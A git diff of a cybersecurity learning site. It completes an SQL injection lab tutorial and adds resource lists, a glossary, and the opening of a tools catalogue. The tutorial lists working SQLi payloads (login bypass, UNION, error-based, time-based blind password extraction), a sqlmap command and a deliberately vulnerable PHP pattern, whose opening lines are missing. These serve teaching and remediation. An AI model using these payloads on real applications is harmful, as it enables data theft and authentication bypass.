Lab Setup (what you should use) + +Use one of these safe environments: + +* **DVWA (Damn Vulnerable Web App)** — has SQLi labs. +* **WebGoat** — practice vulnerable patterns. +* **A local intentionally vulnerable app** — e.g., a small PHP/MySQL demo running in a VM isolated from the Internet. + +Network: ensure VMs are on an **internal** or **host-only** network so no external machines are exposed. + +## Vulnerable Example (PHP — DO NOT USE IN PRODUCTION) + +This tiny example shows a classic vulnerable pattern (string concatenation into SQL): + +```php title="vulnerable.php" +// (do NOT deploy publicly) +query($sql); +$row = $stmt->fetch(PDO::FETCH_ASSOC); +echo "User: " . htmlspecialchars($row['username']); +?> +``` + +**Why it's vulnerable:** `$_GET['id']` is inserted directly into SQL — an attacker can send `?id=1 OR 1=1` to change query logic. + +## Demo Payload Examples (Lab Only) + +### 1) Authentication bypass (simple) + +``` +' OR '1'='1' -- +``` + +If the application concatenates this into `WHERE username = '...' AND password = '...'`, it can make the WHERE always true. + +### 2) Union-based data extraction (example) + +``` +' UNION SELECT null, database(), user() -- +``` + +Used when query columns are known or guessed; appends results from attacker SELECT. + +### 3) Error-based leak (example) + +``` +' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x)a) -- +``` + +Complex — forces DB error that may include data in an error message (depends on DB & settings). + +### 4) Time-based blind (MySQL) + +``` +' OR IF(SUBSTRING((SELECT password FROM users WHERE id=1),1,1)='a', SLEEP(5), 0) -- +``` + +If the response is delayed, the first character is `'a'`. Repeat to extract full strings. + +## Detecting SQLi (Safe methods) + +1. **Manual input tests (in lab):** + + * Input: `'` or `"' OR '1'='1` and watch for errors or changed behavior. +2. **Observe application responses:** + + * Different page content, errors, or delays (time-based) are indicators. +3. **Use controlled automated testing carefully:** + + * Tools like `sqlmap` can automate exploitation — use **only in lab** with `--batch` if preferred. + * Example (lab only): + + ```bash + sqlmap -u "http://localhost/vuln.php?id=1" --batch --level=2 --risk=1 + ``` + * **Warning:** sqlmap can be noisy and destructive if options like `--os-shell` or `--os-pwn` are used. Avoid those. + +## Step-by-step Demo (Safe, educational) + +**Goal:** Show an authentication bypass and then fix the app. + +1. Start your vulnerable app (e.g., DVWA low mode or the `vulnerable.php` above). +2. Visit the login or query page and enter an injection payload: `' OR '1'='1' --`. Observe login success or change. +3. Try a `UNION SELECT` where applicable to list database info (table names) — use small column counts first (e.g., `UNION SELECT 1,2` to see how many columns the original query expects). +4. Use time-based injection to practice blind extraction — measure response times. +5. Record findings and then **apply fixes** (see remediation below) and re-test. + +## Fixing SQL Injection — Secure Patterns + +### 1) Prepared Statements / Parameterized Queries + +**PHP (PDO) — safe rewrite of vulnerable example:** + +```php title="safe.php" + PDO::ERRMODE_EXCEPTION, +]); +$id = $_GET['id']; +$stmt = $pdo->prepare('SELECT username, email FROM users WHERE id = :id'); +$stmt->execute([':id' => $id]); +$row = $stmt->fetch(PDO::FETCH_ASSOC); +echo "User: " . htmlspecialchars($row['username']); +?> +``` + +**Node.js (mysql2) example:** + +```js title="safe.js" +const mysql = require('mysql2/promise'); +const pool = mysql.createPool({ host: '127.0.0.1', user: 'user', database: 'test' }); + +app.get('/user', async (req, res) => { + const id = req.query.id; + const [rows] = await pool.execute('SELECT username, email FROM users WHERE id = ?', [id]); + res.send(`User: ${escapeHtml(rows[0].username)}`); +}); +``` + +**Why prepared statements work:** The DB engine treats the SQL text and parameters separately, so input can't change query structure. + +### 2) Principle of Least Privilege (DB user) + +* App DB user should have minimal permissions (e.g., `SELECT`, `INSERT` only where required). +* Never connect as the DB admin (root). + +**Example:** create a limited user: + +```sql +CREATE USER 'appuser'@'localhost' IDENTIFIED BY 'strongpassword'; +GRANT SELECT, INSERT, UPDATE ON myappdb.* TO 'appuser'@'localhost'; +FLUSH PRIVILEGES; +``` + +### 3) Input Validation & Output Encoding + +* Validate types (numbers, dates) on server side. +* Use allow-lists (whitelists) not block-lists. +* Encode output in HTML to prevent XSS when showing DB values. + +### 4) Use ORMs Safely + +* ORMs often parameterize queries for you. Learn how your ORM constructs queries and avoid `raw` SQL when possible. +* Example (Sequelize): + +```js +User.findOne({ where: { id: req.query.id } }); +``` + +## Logging & Monitoring + +* Log suspicious inputs and failed queries (redact sensitive data). +* Monitor for excessive requests that match injection patterns or cause repeated DB errors. +* Use WAF rules (e.g., ModSecurity) as an additional layer — not a replacement for secure code. + +## Risk Prioritization (simple formula) + +When prioritizing a found SQLi vulnerability, consider: + +$$ +Risk = Impact \times Exploitability +$$ + +* **Impact:** 0..1 (data sensitivity, ability to modify/delete, auth bypass) +* **Exploitability:** 0..1 (easy blind/visible, requires auth, network access) + +If `Risk > 0.7` treat as high priority. + +## Practical Remediation Checklist + +* [ ] Replace all string-concatenated SQL with prepared statements. +* [ ] Enforce server-side input validation and type checks. +* [ ] Use least-privilege DB accounts. +* [ ] Add logging and alerts for suspicious query patterns. +* [ ] Test fixes by re-running safe scans in lab environment. +* [ ] Use automated CI tests that assert SQLi defenses for new code (unit/integration tests). + +## Further Practice Exercises (Lab) + +1. **Column discovery with UNION** — use `UNION SELECT` with incremental column counts to find the right number of columns, then extract a simple string column. +2. **Blind extraction** — write a small script to automate boolean/time-based extraction of a single character from a target string (lab only). +3. **Secure migration** — convert a vulnerable route to prepared statements, demonstrate fix, and show that previous payloads no longer work. +4. **Use sqlmap locally** — run `sqlmap` against your local DVWA instance with `--batch --risk=1 --level=1` and review findings. **Do not** use aggressive options. + +## Resources & References + +* OWASP SQL Injection Cheat Sheet — a practical reference. +* DVWA / WebGoat — vulnerable apps for practice. +* sqlmap documentation — automated testing tool (use responsibly). + +## Final Notes + +SQL Injection remains one of the oldest — and most impactful — web vulnerabilities. The cure is straightforward but requires discipline: **parameterize queries, validate input, and follow least privilege**. Practice detection and remediation in isolated labs until secure patterns become second nature. \ No newline at end of file diff --git a/docs/cybersecurity/resources/books-and-courses.mdx b/docs/cybersecurity/resources/books-and-courses.mdx index 0d399cd..61e11d6 100644 --- a/docs/cybersecurity/resources/books-and-courses.mdx +++ b/docs/cybersecurity/resources/books-and-courses.mdx @@ -1,3 +1,177 @@ -import ComingSoon from '@site/src/components/ComingSoon'; +--- +title: "Books and Courses" +description: "Curated list of books, courses, platforms, and learning paths for cybersecurity learners — from beginners to advanced practitioners. Includes study plans, lab resources, and ethics reminders." +sidebar_label: "Books & Courses" +tags: [resources, books, courses, learning-path, study-plan, cybersecurity] +--- - \ No newline at end of file +This page collects **high-quality, practical books, online courses, and learning platforms** I recommend for building real-world cybersecurity skills. The list is organized by **level** and **role**, with short notes on *why* each resource helps and how to use it inside your lab or study plan. + +:::warning Ethics first +Use these resources to learn defensively and legally. Don’t practice offensive techniques on targets you don’t own or aren’t authorized to test. +::: + +## How to pick resources + +Use this simple formula to pick study time and intensity: + +$$ +\text{Total\_Hours} = \text{Weeks} \times \text{Hours\_per\_Week} +$$ + +Example: a 12-week study block at 8 hours/week gives $(12 \times 8 = 96)$ hours — enough to complete 1–2 intermediate courses plus hands-on labs. + +## Beginner — foundations (skills, 1–3 months) + +### Books +* **The Web Application Hacker's Handbook** — excellent for practical web security fundamentals and payload mindset. +* **Hacking: The Art of Exploitation** — core systems and exploitation concepts with hands-on C examples (good for thinking like an attacker). +* **Practical Packet Analysis** — short book to learn packet capture basics (Wireshark/tcpdump). + +### Courses & Platforms +* **TryHackMe (Beginner Paths)** — guided, hands-on rooms for absolute beginners (networking, web, Linux basics). +* **Coursera / edX** — “Introduction to Cybersecurity” or vendor-backed beginner certificates (IBM, Google, etc.). +* **Udemy** — beginner-friendly courses like “Complete Cyber Security Course” (look for high-rated instructors such as Nathan House). + +### How to use them +* Read one book while completing 2–3 TryHackMe beginner modules. +* Build a lab (Kali + vulnerable VM) and practice simple tasks: scanning, packet capture, and a basic SQLi lab. + +## Intermediate — tooling & practice (3–6 months) + +### Books +* **Metasploit: The Penetration Tester’s Guide** — practical exploitation workflows using Metasploit. +* **Practical Malware Analysis** — great for getting started with dynamic/static malware analysis (laboratory-focused). +* **The Practice of Network Security Monitoring** — for blue team skills: detection and monitoring. + +### Courses & Platforms +* **TryHackMe (Intermediate / Offensive Paths)** — CTF-style labs and structured paths for pentesting basics. +* **Hack The Box (HTB)** — hands-on vulnerable machines, great for practicing enumeration & exploitation. +* **Offensive Security (PWK / OSCP)** — if you want a rigorous, hands-on pentesting course (lab-heavy). +* **Pluralsight / LinkedIn Learning** — targeted courses for specific OS or stack skills (Windows internals, Linux hardening). + +### How to use them +* Pair a book chapter with a targeted lab (e.g., read Metasploit chapter → exploit a Metasploitable VM). +* Aim to solve 1 HTB machine per week and keep a writeup journal. + +## Advanced & Specialization (6+ months) + +### Books +* **Applied Cryptography** — deep dive into cryptographic primitives and design (theory + practice). +* **Rootkits & Bootkits** (or vendor advanced titles) — for deep OS internals & persistence techniques. +* Vendor and SANS books on advanced DFIR, forensics, and exploit dev. + +### Courses & Platforms +* **Offensive Security — OSCP → OSCE (advanced)** — exam and lab-focused progression for exploit development and deep pentesting. +* **SANS Institute** — high-quality, high-cost courses on DFIR, ICS/SCADA, advanced incident response. +* **eLearnSecurity / Pentester Academy** — advanced offensive/defensive specializations. +* **Cloud security courses** (AWS/Azure/GCP security tracks) — for cloud-native attack/defense. + +### How to use them +* Combine advanced reading with long, timed lab exercises (e.g., multi-week exploit chains, red-team scenarios). +* Contribute to writeups, open-source tooling, or research to deepen mastery. + +## Practical, role-focused learning paths + +```mermaid +flowchart LR + A[Foundations] --> B[Pentesting Path] + A --> C[Blue Team Path] + A --> D[Forensics/DFIR Path] + B --> B1[OSCP / HTB / Metasploit] + C --> C1[Splunk / Security Onion / ELK] + D --> D1[Volatility / Autopsy / Malware Analysis] +``` + +* **Pentester**: Foundations → Nmap, Burp, Metasploit → HTB/OSCP → Advanced exploit dev. +* **Blue team / SOC analyst**: Foundations → Splunk/ELK, Security Onion → Incident response & threat hunting. +* **Forensics / Malware Analyst**: Foundations → Autopsy & Volatility → dynamic malware analysis / sandboxing. + +## Recommended hands-on platforms & labs + +* **TryHackMe** — excellent guided beginner → intermediate paths. +* **Hack The Box** — real-world machine practice, scalable difficulty. +* **VulnHub / Metasploitable** — downloadable vulnerable VMs for offline labs. +* **RangeForce / Immersive Labs** — scenario-based SOC training (team/enterprise focus). +* **Cuckoo Sandbox / Any.run** — for safe malware execution and observation. + +## Courses & Certificates — which to choose + +* **Entry-level / career-starters**: Google Cybersecurity Certificate, IBM Cybersecurity Analyst (Coursera), CompTIA Security+. +* **Hands-on offensive**: Offensive Security PWK → OSCP (laboratory and exam). +* **Hands-on defensive**: Splunk Fundamentals + Splunk certifications; Elastic/Kibana training; Security Onion courses. +* **Management / governance**: CISSP (broad), CISM (management-focused). + +:::tip +Certifications support hiring and credibility — but practical labs and documented projects (HTB writeups, GitHub repos, blog posts) are often *more convincing* in job interviews. +::: + +## Study plan — 12-week sample (balanced) + +```mermaid +gantt + dateFormat YYYY-MM-DD + title 12-week Cybersecurity Plan (10 h/wk) + section Foundations + Week 0 - Setup & Tooling :a0, 2025-11-03, 3d + Week 1 - Networking & Linux :a1, 2025-11-06, 7d + Week 2 - Web App Security Basics :a2, 2025-11-13, 7d + section Offensive Track + Week 3 - Recon & Scanning :a3, 2025-11-20, 7d + Week 4 - Web Vulnerabilities :a4, 2025-11-27, 7d + Week 5 - Exploitation & Metasploit:a5, 2025-12-04, 7d + Week 6 - Passwords & Cracking :a6, 2025-12-11, 7d + section Defensive Track + Week 7 - Network Analysis & Sniffing:a7, 2025-12-18, 7d + Week 8 - Monitoring & SIEM :a8, 2025-12-25, 7d + Week 9 - Forensics & Memory :a9, 2026-01-01, 7d + section Integration & Projects + Week 10 - Full Lab Exercise :a10, 2026-01-08, 7d + Week 11 - Report & Remediation :a11, 2026-01-15, 7d + Week 12 - Portfolio & Next Steps :a12, 2026-01-22, 7d +``` + +### Weeks 1–4 (Foundations) + +* Read a foundational book (e.g., *Web App Hacker’s Handbook* chapter excerpts). +* Complete TryHackMe beginner path (networking + web basics). +* 6–8 hours/week hands-on. + +### Weeks 5–8 (Tools & Practice) + +* Finish a focused course (Burp / Nmap + Web labs). +* Solve 6 HTB/THM machines (one per 3–4 days). +* Start a lab notebook / writeups. + +### Weeks 9–12 (Project & Report) + +* Pick a target VM → run a full pentest (recon → exploit → post-exploit) in lab. +* Produce a short report and remediation recommendations. +* Prepare for a certification exam if desired. + +## Free vs Paid — what to invest in + +* **Free:** TryHackMe (many free rooms), VulnHub, OWASP resources, YouTube instructors (John Hammond, LiveOverflow), GitHub repos, OWASP Juice Shop. +* **Paid & high-value:** OSCP (lab depth), SANS (enterprise-grade), Pluralsight/OffSec courses for structured progression, books from reputable publishers (No Starch, O’Reilly). +* **Tip:** Start with free resources; invest in one paid, lab-heavy course (OSCP or equivalent) when you’re ready to commit time. + +## Continuous learning — podcasts, newsletters, and blogs + +* **Podcasts:** *Darknet Diaries*, *Risky Business*, *Security Weekly* — good for threat context and stories. +* **Newsletters / blogs:** SANS Internet Storm Center, Krebs on Security, Cloud provider security blogs (AWS, Microsoft) for cloud-focused learners. +* **Twitter / X and Mastodon:** follow respected practitioners for short tips and links to research. + +## How to keep momentum (practical tips) + +* Build a **weekly habit** (2–3 focused sessions of 60–120 minutes). +* Maintain a **lab notebook** with timestamps, commands, and lessons learned. +* Publish **1 writeup every month** (HTB box, lab exercise, or vulnerability replication). +* Join local meetups and online communities — accountability speeds learning. + +## Quick annotated reading list (one-line why) + +* *The Web Application Hacker’s Handbook* — web app attack and defense best practices. +* *Hacking: The Art of Exploitation* — systems fundamentals and exploit mindset. +* *Practical Malware Analysis* — malware triage & sandboxing techniques. +* *Metasploit: The Penetration Tester’s Guide* — exploitable modules & workflow. +* *The Practice of Network Security Monitoring* — building the blue team muscle. diff --git a/docs/cybersecurity/resources/glossary.mdx b/docs/cybersecurity/resources/glossary.mdx index 0d399cd..40ee8a6 100644 --- a/docs/cybersecurity/resources/glossary.mdx +++ b/docs/cybersecurity/resources/glossary.mdx @@ -1,3 +1,185 @@ -import ComingSoon from '@site/src/components/ComingSoon'; +--- +title: "Cybersecurity Glossary" +description: "Concise, practical definitions of common cybersecurity terms — useful as a quick reference for learners, practitioners, and documentation." +tags: [glossary, cybersecurity, reference, terms] +--- - \ No newline at end of file +This glossary gathers **clear, user-friendly definitions** of key cybersecurity terms you’ll encounter in these tutorials and labs. Use it as a quick reference while you’re learning tools, running labs, or writing reports. + +:::warning +This glossary explains concepts for education and defensive practice. Do **not** use this information for malicious activities. Always act ethically and follow the law. +::: + +## A — C + +**APT (Advanced Persistent Threat):** A long-term, targeted intrusion campaign run by a capable adversary (often nation-state or organized group) that maintains stealthy presence to exfiltrate data or observe targets. + +**Authentication:** Process that verifies a user or system identity (e.g., password, token, biometrics). + +**Authorization:** Determines what authenticated users are allowed to do (permissions and access control). + +**AV / Antivirus:** Software that detects, quarantines, or removes known malware using signature and heuristic techniques. + +**CA (Certificate Authority):** Trusted organization that issues public key certificates used in TLS/PKI to validate identities. + +**CISA / CISSP / (other certs):** Common certification acronyms you might see. (Examples in the certification guide explain scope and prerequisites.) + +**CIA Triad** +Core security properties: **Confidentiality**, **Integrity**, **Availability**. + +```mermaid +graph LR + C[Confidentiality] --> I[Integrity] + I --> A[Availability] + A --> C +``` + +**CISA / CISM / CISSP:** Professional certifications for security practitioners (governance, management, architecture). + +**Cipher / Encryption:** Algorithm that transforms plaintext into ciphertext to prevent unauthorized reading. Decryption is the reverse operation. + +**CVE (Common Vulnerabilities and Exposures):** A unique identifier for a publicly known vulnerability (e.g., CVE-2024-XXXXX). + +**CVSS (Common Vulnerability Scoring System):** Numeric system (0–10) used to express the severity of vulnerabilities. See the Certification Guide and vulnerability scanning tips for how scores are used. + +## D — F + +**DDoS (Distributed Denial of Service):** Attack that overwhelms a service with traffic from many sources to cause downtime. + +**Detection vs Prevention:** + +|Detection|Prevention| +|-----|-----| +|identifying malicious activity (IDS, SIEM). | blocking or mitigating an attack before impact (IPS, firewalls, WAF). | + +**Digital Forensics:** Process of collecting, preserving, analyzing digital evidence (disk, memory, logs) for incident response and legal processes. + +**DMZ (Demilitarized Zone):** Network segment that exposes services to the Internet while keeping internal networks protected. + +**EDR (Endpoint Detection & Response):** Agent-based technology that monitors endpoints for suspicious behavior and supports remediation. + +**Exploit:** Code or sequence that takes advantage of a vulnerability to cause unintended behavior (e.g., RCE, auth bypass). + +**Firewall:** Network or host device that controls traffic flow based on rules (packet filtering, stateful inspection). + +## G — I + +**Hash / Hashing:** One-way function that maps input to a fixed-size output. Common uses: integrity checks and password storage (with salt). + +* Example property: small input change → large hash change. +* Formula (conceptual): + $$ + h = H(x) + $$ + where $(H)$ is the hash function, $(x)$ is input, and $(h)$ the digest. + +**Honeypot / Honeytoken:** Deceptive resource designed to attract attackers so defenders can observe techniques and collect Indicators of Compromise (IOCs). + +**HSM (Hardware Security Module):** Specialized device for secure key storage and cryptographic operations. + +**IAAS / PAAS / SAAS** +Cloud service models: Infrastructure, Platform, Software as a Service. Each has shared-security responsibilities. + +**IDS / IPS** + +* **IDS (Intrusion Detection System)**: monitors and alerts on suspicious traffic. +* **IPS (Intrusion Prevention System)**: can block or drop traffic inline. + +**Incident Response (IR):** Structured process for detecting, containing, eradicating, recovering from, and learning after a security incident. + +**IOC (Indicator of Compromise):** Artefacts (file hashes, IPs, domains) that indicate a system has been compromised. + +## J — L + +**Least Privilege** +Security principle: grant the minimum privileges necessary for tasks or services. + +**Lateral Movement:** Act by which an attacker moves through a network from an initial foothold to higher-value systems. + + +## M — O + +**MFA (Multi-Factor Authentication):** Authentication requiring two or more independent credentials (something you know, have, or are). + +**MITM (Man-in-the-Middle):** Attack where an adversary intercepts and potentially alters communications between two parties. + +**NIST:** National Institute of Standards and Technology — publishes widely used security frameworks and guidance (e.g., NIST IR lifecycle). + +**Network Sniffing / Packet Capture:** Collecting raw network packets (tcpdump, Wireshark) for analysis. Useful for debugging, forensics, and detecting exfiltration. + +**Non-repudiation:** Guarantee that an actor cannot deny a previous action (often addressed with digital signatures). + +**Obfuscation:** Technique to make code or data harder to analyze (used legitimately and by malware authors). + +## P — R + +**Patch / Vulnerability Management:** Process to identify, prioritize, and remediate software flaws (scanning → testing → patch deployment → verification). + +**Penetration Testing (Pentest):** Authorized simulated attack to evaluate security posture and find vulnerabilities before adversaries do. + +**Phishing / Spear Phishing:** Social-engineering attacks via email or messages; spear-phishing targets specific individuals with tailored content. + +**PKI (Public Key Infrastructure):** System for issuing, managing, and revoking digital certificates used in TLS and encrypted channels. + +**Privilege Escalation:** Techniques to gain higher permissions on a host (vertical) or broader access across systems (horizontal). + +**Proof-of-Concept (PoC):** A minimal demonstration that a vulnerability is exploitable; used in testing and reporting. + +**RAT (Remote Access Trojan):** Malware that provides remote, persistent control of a compromised host. + +**RDP (Remote Desktop Protocol):** Microsoft’s remote desktop protocol — common target for brute force and credential theft if exposed. + +## S — U + +**Salt (in password hashing):** Random data added to a password before hashing to prevent precomputed attacks (rainbow tables). + +**SCADA / ICS:** Industrial control systems with specialized security considerations (OT security). + +**SIEM (Security Information and Event Management):** Platform that aggregates logs, correlates events, and enables alerting and investigation (e.g., Splunk, ELK). + +**SLA (Service-Level Agreement):** Contractual uptime and performance guarantees that influence incident response priorities. + +**SOC (Security Operations Center):** Team and platform that monitor security telemetry, triage alerts, and coordinate response. + +**SQLi (SQL Injection):** Web vulnerability where untrusted input is executed in a database query. Lab demos demonstrate detection and fixes (use parameterized queries). + +**SSO / OAuth / SAML:** Authentication / federated identity standards and flows used for single sign-on and delegated access. + +**Supply Chain Attack:** Compromise that leverages software dependencies, update channels, or third-party services to reach targets. + +**Threat Intel:** Information about adversary capabilities, infrastructure, and motives used to prioritize defenses and detection. + +**TTP (Tactics, Techniques, Procedures):** Attacker behavior models used in threat hunting (e.g., MITRE ATT&CK). + +**TLS / SSL:** Protocols that provide encrypted channels for network communication. TLS has largely superseded SSL. + +## V — Z + +**Vulnerability:** A weakness in hardware, software, or configuration that can be exploited to cause harm. + +**Vulnerability Disclosure:** Process and policy for reporting, verifying, and remediating security flaws (coordinated disclosure). + +**WAF (Web Application Firewall):** A protective layer that filters and monitors HTTP(s) traffic to web applications, often blocking common attacks (e.g., SQLi, XSS). + +**XSS (Cross-Site Scripting):** Web vulnerability where attacker-supplied script executes in victims’ browsers. Types: reflected, stored, DOM-based. + +**Zero Trust:** Security model that assumes no implicit trust; verify everything (identity, device, context) before granting access. + +## Quick Reference Table (Shortcuts) + +| Term | Quick Definition | +| ------- | -------------------------------------- | +| CVE | Public vulnerability ID | +| CVSS | Vulnerability severity score | +| IOC | Indicator of Compromise | +| SIEM | Log aggregation & correlation platform | +| IDS/IPS | Detect / Prevent network threats | +| MFA | Multi-factor authentication | +| PKI | Certificate & key management system | + + +## How to Use This Glossary + +* Bookmark this page while studying tools and labs. +* Link terms in your notes to these definitions for consistent language in reports. +* If you need a deeper dive on any term, use the tutorial index — many glossary items have full sections (e.g., **SIEM** → Splunk Overview; **Memory Forensics** → Volatility). \ No newline at end of file diff --git a/docs/cybersecurity/resources/links.mdx b/docs/cybersecurity/resources/links.mdx index 0d399cd..a8e1545 100644 --- a/docs/cybersecurity/resources/links.mdx +++ b/docs/cybersecurity/resources/links.mdx @@ -1,3 +1,141 @@ -import ComingSoon from '@site/src/components/ComingSoon'; +--- +title: "Resources & Useful Links" +sidebar_label: Resources & Links +description: "A handpicked collection of trusted cybersecurity resources, labs, platforms, research sites, blogs, communities, and official documentation for both beginners and professionals." +tags: [resources, links, cybersecurity, blogs, labs, learning, community] +--- - \ No newline at end of file +This page lists **curated links** to the most trusted resources—tools, communities, blogs, labs, and documentation to help you **stay updated, practice ethically, and build expertise** in cybersecurity. + +:::warning +Always verify any downloaded tools or scripts from third-party sources. Stick to **official documentation and trusted repositories** to avoid malicious versions. +::: + +## Official Documentation & Standards + +| Resource | Description | +|-----------|--------------| +| [OWASP Foundation](https://owasp.org) | Community-driven web security standards and projects like OWASP Top 10. | +| [MITRE ATT&CK Framework](https://attack.mitre.org) | A comprehensive matrix of adversarial tactics and techniques used in real-world attacks. | +| [NIST Cybersecurity Framework](https://www.nist.gov/cyberframework) | Best practices and standards for managing cybersecurity risks. | +| [CIS Benchmarks](https://www.cisecurity.org/cis-benchmarks) | Secure configuration guidelines for systems, networks, and cloud environments. | +| [ISO/IEC 27001](https://www.iso.org/isoiec-27001-information-security.html) | International standard for information security management systems (ISMS). | + +## Hands-on Learning & Labs + +| Platform | Description | +|-----------|--------------| +| [TryHackMe](https://tryhackme.com) | Guided, beginner-friendly virtual rooms for learning cybersecurity hands-on. | +| [Hack The Box](https://www.hackthebox.com) | Real-world penetration testing and CTF challenges for intermediate/advanced learners. | +| [VulnHub](https://www.vulnhub.com) | Downloadable vulnerable machines for local practice. | +| [OverTheWire](https://overthewire.org) | Classic wargame-based cybersecurity puzzles (e.g., Bandit, Narnia, Leviathan). | +| [Root-Me](https://www.root-me.org) | Challenges across web, network, crypto, and reverse engineering. | +| [PortSwigger Academy](https://portswigger.net/web-security) | Free, in-depth Burp Suite and web app security labs. | +| [RangeForce](https://www.rangeforce.com) | Professional cyber range for team-based defensive exercises. | + +## Knowledge Bases & Learning Platforms + +| Platform | Description | +|-----------|--------------| +| [Cybrary](https://www.cybrary.it) | Structured cybersecurity courses and career paths. | +| [Coursera Cybersecurity Specializations](https://www.coursera.org/browse/information-technology/cybersecurity) | Vendor and university-backed cybersecurity courses. | +| [edX Cybersecurity](https://www.edx.org/learn/cybersecurity) | Free and paid courses from leading institutions. | +| [OpenSecurityTraining2](https://opensecuritytraining.info) | Free in-depth training materials on topics like memory forensics and exploit dev. | +| [YouTube - LiveOverflow](https://www.youtube.com/@LiveOverflow) | Great for visual learning through hack demos and exploit breakdowns. | +| [John Hammond’s Channel](https://www.youtube.com/@JohnHammond010) | Walkthroughs, CTFs, and practical cybersecurity exercises. | + +## Security Tools & Frameworks + +| Tool | Link | Description | +|------|------|--------------| +| Metasploit | [https://www.metasploit.com](https://www.metasploit.com) | Industry-standard penetration testing framework. | +| Wireshark | [https://www.wireshark.org](https://www.wireshark.org) | Network protocol analyzer for packet capture and analysis. | +| Burp Suite | [https://portswigger.net/burp](https://portswigger.net/burp) | Web application penetration testing suite. | +| OWASP ZAP | [https://www.zaproxy.org](https://www.zaproxy.org) | Open-source web application security scanner. | +| Autopsy | [https://www.autopsy.com](https://www.autopsy.com) | Digital forensics platform for analyzing disks and files. | +| Volatility | [https://www.volatilityfoundation.org](https://www.volatilityfoundation.org) | Memory analysis framework for incident response. | + +## Cybersecurity News & Threat Intelligence + +| Resource | Description | +|-----------|--------------| +| [The Hacker News](https://thehackernews.com) | Latest security news, vulnerabilities, and exploits. | +| [Bleeping Computer](https://www.bleepingcomputer.com) | Cyber incidents and malware analysis reports. | +| [Krebs on Security](https://krebsonsecurity.com) | In-depth articles by Brian Krebs on cybersecurity trends. | +| [Dark Reading](https://www.darkreading.com) | Threat intelligence and security research news. | +| [SANS Internet Storm Center](https://isc.sans.edu) | Daily logs, threat reports, and infosec news. | +| [VirusTotal Intelligence](https://www.virustotal.com/gui/home/upload) | File and URL scanning for malware and suspicious behavior. | + +## Community & Collaboration + +| Platform | Description | +|-----------|--------------| +| [Reddit: r/cybersecurity](https://www.reddit.com/r/cybersecurity/) | Discussions, news, and advice from infosec professionals. | +| [Infosec Discord Servers](https://discord.gg/tryhackme) | Active chat communities for TryHackMe, Hack The Box, and others. | +| [LinkedIn Security Groups](https://www.linkedin.com/groups) | Networking with professionals and finding cybersecurity roles. | +| [OWASP Local Chapters](https://owasp.org/chapters/) | Join a local OWASP chapter to connect with web security practitioners. | +| [DEF CON Groups](https://defcongroups.org) | Local DEF CON community meetups around the world. | + +## Research Papers & Academic Resources + +| Resource | Description | +|-----------|--------------| +| [Google Scholar - Cybersecurity](https://scholar.google.com/scholar?q=cybersecurity) | Academic papers on security, cryptography, and network defense. | +| [arXiv Security Section](https://arxiv.org/list/cs.CR/recent) | Cutting-edge cryptography and computer security research papers. | +| [USENIX Security](https://www.usenix.org/conferences/byname/108) | Premier conference papers and research archives. | +| [Black Hat Briefings](https://www.blackhat.com) | Technical research presentations from world-class security researchers. | + +## Cloud Security Resources + +| Resource | Description | +|-----------|--------------| +| [AWS Security Hub](https://aws.amazon.com/security/) | Centralized cloud security visibility for AWS users. | +| [Microsoft Defender for Cloud Docs](https://learn.microsoft.com/en-us/azure/defender-for-cloud/) | Azure’s native cloud security platform. | +| [Google Cloud Security Best Practices](https://cloud.google.com/security) | Security guidelines for GCP workloads. | +| [Prowler](https://github.com/prowler-cloud/prowler) | Open-source AWS security assessment tool. | +| [ScoutSuite](https://github.com/nccgroup/ScoutSuite) | Multi-cloud security auditing tool. | + +## Cybersecurity Certifications & Career Prep + +| Certification | Official Link | Level | +|----------------|----------------|-------| +| CompTIA Security+ | [https://www.comptia.org/certifications/security](https://www.comptia.org/certifications/security) | Beginner | +| CEH (Certified Ethical Hacker) | [https://www.eccouncil.org](https://www.eccouncil.org) | Intermediate | +| OSCP (Offensive Security Certified Professional) | [https://www.offsec.com](https://www.offsec.com) | Advanced | +| CISSP (Certified Information Systems Security Professional) | [https://www.isc2.org](https://www.isc2.org) | Advanced | +| CHFI (Computer Hacking Forensic Investigator) | [https://www.eccouncil.org](https://www.eccouncil.org) | Forensics | +| CCSP (Certified Cloud Security Professional) | [https://www.isc2.org/Certifications/CCSP](https://www.isc2.org/Certifications/CCSP) | Cloud Security | + +## Cybersecurity Metrics Formula (For Learners) + +A simplified way to measure your weekly learning momentum: + +$$ +\text{Progress Score} = \frac{\text{Completed Labs} + (\text{Books Read} \times 2)}{\text{Weeks}} +$$ + +:::info +**Example:** If you completed 6 labs and read 1 book in 3 weeks: +$ (6 + (1 \times 2)) / 3 = 2.67 $ +Aim for a **progress score ≥ 2** each week for steady growth. +::: + +## Cybersecurity Ecosystem (Mermaid Visualization) + +```mermaid +flowchart TB + A[Learning Platforms] --> B[Practical Labs] + B --> C[Toolkits] + C --> D[Certifications] + D --> E[Careers & Roles] + E --> F[Communities & Research] + F --> A +``` + +## Suggested Path for Beginners + +1. Start with **TryHackMe** or **OverTheWire** to learn by doing. +2. Follow **PortSwigger Academy** to understand web attacks. +3. Use **OWASP Top 10** as your web security checklist. +4. Set up your lab with **Kali Linux + Metasploitable** VMs. +5. Join **communities** and follow experts to stay current. diff --git a/docs/cybersecurity/resources/tools-list.mdx b/docs/cybersecurity/resources/tools-list.mdx index 0d399cd..4776ec2 100644 --- a/docs/cybersecurity/resources/tools-list.mdx +++ b/docs/cybersecurity/resources/tools-list.mdx @@ -1,3 +1,258 @@ -import ComingSoon from '@site/src/components/ComingSoon'; +--- +title: "Tools List" +description: "Curated list of essential cybersecurity tools organized by category: reconnaissance, exploitation, scanning, monitoring, forensics, password cracking, cloud security, and developer/CI tooling. Includes quick install tips, example commands, and best-practice notes." +tags: [tools, toolkit, pentest, forensics, monitoring, password-cracking] +--- - \ No newline at end of file +This page is a **practical, opinionated catalogue** of tools I use and recommend in real labs and training. Each entry has a short purpose statement, quick install hint, 1–2 example commands, and a short best-practice note. Use it as a checklist when provisioning a new lab, preparing a pentest VM, or building a SOC workbench. + +:::warning +This list is for **defensive learning and authorized testing only**. Never use offensive tools against systems you do not own or have explicit permission to test. +::: + +## Quick index (jump to a category) + +* Recon & Discovery +* Port & Service Scanning +* Web Application Testing +* Exploitation Frameworks +* Password Cracking & Auth Testing +* Vulnerability & Compliance Scanners +* Network Analysis & Packet Capture +* Monitoring, SIEM & Detection +* Digital Forensics & Memory Analysis +* Malware Analysis & Sandboxing +* Cloud & DevSecOps Tools +* Utilities & Helpers + +## Recon & Discovery + 